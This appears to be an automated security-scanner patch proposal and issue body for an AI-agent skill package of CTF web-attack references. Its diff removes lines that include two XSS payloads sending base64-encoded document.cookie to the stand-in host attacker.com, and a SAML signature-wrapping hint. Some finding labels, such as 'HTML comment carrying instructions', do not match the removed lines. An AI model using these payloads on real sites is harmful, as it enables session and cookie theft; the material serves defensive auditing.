Propose a patch

Evidence

The sandbox observed nothing beyond the static findings; the proposal cites those.

diff --git a/references/security-arsenal/SKILL.md b/references/security-arsenal/SKILL.md
--- a/references/security-arsenal/SKILL.md
+++ b/references/security-arsenal/SKILL.md
@@ -28,1 +28,0 @@
-<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
@@ -34,1 +33,0 @@
-<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
@@ -658,1 +656,0 @@
-Server validates signature on #legit but processes #evil instead.
@@ -706,1 +703,0 @@
-echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml
diff --git a/references/ctf-web/client-side-advanced.md b/references/ctf-web/client-side-advanced.md
--- a/references/ctf-web/client-side-advanced.md
+++ b/references/ctf-web/client-side-advanced.md
@@ -375,1 +375,0 @@
-Bypass: decimal IP + bracket notation
diff --git a/references/ctf-web/SKILL.md b/references/ctf-web/SKILL.md
--- a/references/ctf-web/SKILL.md
+++ b/references/ctf-web/SKILL.md
@@ -91,1 +91,0 @@
-echo '<token>' | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Zero-context hunks: apply with git apply --unidiff-zero fix.patch on the tagged source of 1.0.0. If the behavior is intended, declare it (host under permissions.network, a line in the README) instead of removing it; the next crawl scores declarations.

Issue / PR body

Title: ctf-web-reverse-audit: HTML comment carrying imperative instructions to the agent (KillerSkills verdict caution 53)

## What the honeypot observed
KillerSkills ran **[email protected]** in an isolated sandbox (decoy credentials, recording proxy, syscall trace; engine 1.8.1) and scored it **CAUTION 53/100**. Summary: no network, touches nothing outside the project, writes no memory.

- See the findings below.

Full trace and findings: https://killerskills.ai/skills/clawhub/ctf-web-reverse-audit/1.0.0

## Findings with a location
- `references/security-arsenal/SKILL.md:658` · HTML comment carrying imperative instructions to the agent — references/security-arsenal/SKILL.md:658 · HTML comment carrying imperative instructions to the agent
- `references/ctf-web/client-side-advanced.md:375` · HTML comment carrying imperative instructions to the agent — references/ctf-web/client-side-advanced.md:375 · HTML comment carrying imperative instructions to the agent
- `references/ctf-web/SKILL.md:91` · Host or command assembled from base64 fragments — references/ctf-web/SKILL.md:91 · Host or command assembled from base64 fragments
- `references/security-arsenal/SKILL.md:706` · Host or command assembled from base64 fragments — references/security-arsenal/SKILL.md:706 · Host or command assembled from base64 fragments
- `references/security-arsenal/SKILL.md:34` · Base64 encoding combined with network call — references/security-arsenal/SKILL.md:34 · Base64 encoding combined with network call — potential data exfiltration
- `references/security-arsenal/SKILL.md:28` · Base64 encoding combined with network call — references/security-arsenal/SKILL.md:28 · Base64 encoding combined with network call — potential data exfiltration

## Proposed change
The attached patch removes the 6 lines above. If the behavior is intended, the fix is to declare it instead: list the host under `permissions.network` (or the MCP manifest) and say in the README why the package needs it; the next crawl will re-score it with the declaration taken into account.

## How this will be verified
Nothing is "verified safe" by assertion. When a new version is published, KillerSkills re-runs it in the honeypot and the verdict page updates; you can trigger it early from the verdict page ("Re-scan after I publish a fix"). Reply here or at [email protected] if you believe the verdict is wrong; disputes are reviewed by a person and the outcome is published on the verdict page.

_Proposed through killerskills.ai/threats by a user of the package, under their own GitHub account. The evidence is public; the package was never modified by KillerSkills._